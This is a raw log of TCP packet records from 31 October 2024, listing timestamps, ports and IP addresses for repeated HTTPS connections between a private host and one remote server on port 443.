Oct 31, 2024 07:15:35.206110001 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.206533909 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.206589937 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.206979990 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.206995964 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.340248108 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.340275049 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.340313911 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.340442896 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.340806961 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.340842962 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.340890884 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.340907097 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.344046116 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.344073057 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.344168901 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.344397068 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.344407082 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.355664015 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.356203079 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.356220007 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.356652021 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.356657028 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.577470064 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.578089952 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.578134060 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.578558922 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.578571081 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.581795931 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.582102060 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.582113981 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.582442045 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.582446098 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.695729017 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.695775032 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.695833921 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.696049929 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.696062088 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.696072102 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.696077108 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.698817968 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.698859930 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.698945045 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.699053049 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.699069023 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.706995010 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.707027912 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.707072973 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.707093000 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.707140923 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.707333088 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.707333088 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.707364082 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.707386971 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.709564924 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.709594011 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.709665060 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.709753990 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.709762096 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.711401939 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.711532116 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.711600065 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.711627007 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.711627007 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.711639881 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.711651087 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.713593960 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.713630915 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.713711977 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.713809013 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.713819027 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.762216091 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.762833118 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.762850046 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.764142036 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.764146090 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.891602993 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.891665936 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.891726017 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.891737938 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.891768932 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.891823053 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.891984940 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.891994953 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.892009020 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.892014027 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.894387007 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.894402027 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.894479990 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.894612074 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.894629002 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.328325033 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.328891039 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.328906059 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.329360008 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.329365969 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.438196898 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.438868999 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.438883066 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.439407110 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.439412117 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.445744038 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.446288109 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.446305990 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.446732998 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.446743965 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.455965042 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.456381083 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.456401110 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.456993103 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.457000017 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.463982105 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.464246988 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.464298010 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.464345932 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.464355946 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.467911959 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.467940092 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.468010902 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.468368053 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.468383074 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.567550898 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.567620993 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.567679882 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.567847967 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.567856073 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.567867041 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.567871094 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.570297956 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.570319891 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.570396900 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.570544958 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.570555925 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.572906017 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.572957039 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.573010921 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.573019981 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.573080063 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.573129892 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.573211908 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.573220968 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.573231936 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.573236942 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.575666904 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.575692892 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.575764894 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.575951099 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.575969934 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.591357946 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.591379881 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.591415882 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.591434002 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.591479063 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.591661930 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.591675997 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.591685057 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.591689110 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.593724012 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.593736887 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.593812943 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.593998909 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.594005108 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.639556885 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.640089035 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.640105009 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.640553951 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.640558958 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.770694971 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.770745039 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.770814896 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.770836115 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.770876884 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.770934105 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.771152020 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.771159887 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.771169901 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.771173954 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.774291039 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.774317026 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:36.774405003 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.774596930 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:36.774610043 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.233844042 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.279273033 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.287786007 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.287797928 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.288420916 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.288425922 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.318655014 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.330539942 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.337912083 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.337946892 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.344508886 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.344517946 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.345021963 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.345035076 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.345410109 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.345415115 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.421973944 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.423126936 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.423178911 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.423187971 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.423249006 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.465631008 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.465650082 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471188068 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471214056 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471281052 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471605062 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471666098 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471716881 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471729994 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471781015 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471812010 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471824884 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471829891 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471936941 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471952915 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.471966982 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.471971035 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.475456953 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.475517988 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.475586891 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.475779057 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.475800037 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.485671043 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.485790014 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.485836983 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.485991955 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.486001968 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.486010075 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.486020088 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.488106012 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.488116026 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.488184929 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.488317013 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.488326073 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.504300117 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.510025978 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.510037899 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.521554947 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.521559000 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.526369095 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.534193993 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.534212112 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.534790993 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.534795046 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.649732113 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.649790049 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.649844885 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.650317907 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.650325060 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.650335073 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.650338888 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.654613018 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.654673100 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.654771090 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.655432940 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.655458927 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.661268950 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.661334038 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.661384106 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.661391973 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.661464930 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.661514044 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.661673069 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.661688089 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.661698103 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.661705017 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.664836884 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.664865971 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:37.664937019 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.665158033 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:37.665170908 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.092205048 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.096393108 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.096407890 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.101175070 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.101180077 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.101412058 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.101912975 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.102124929 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.102159977 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.102206945 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.102221966 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.102642059 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.102657080 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.102781057 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.102792025 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.111406088 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.111682892 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.111850023 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.111869097 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.112127066 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.112133980 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.112189054 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.112195015 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.112725019 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.112730980 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.233834982 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.233912945 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.233948946 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.234031916 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.234396935 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.234443903 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.234489918 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.234503984 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.234786987 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.234877110 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.234997988 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.235060930 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.235119104 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.235138893 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.235163927 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.235174894 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.238720894 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.238761902 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.238857031 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.239097118 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.239114046 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.240443945 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.240464926 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.240544081 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.240673065 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.240681887 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.241704941 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.241770029 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.241916895 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.241945028 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.241960049 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.241978884 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.241982937 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.244318008 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.244328022 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.244421005 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.244589090 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:39.244601011 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.247531891 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.247689962 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:39.247747898 CET	49956	443	192.168.2.4	13.107.246.45
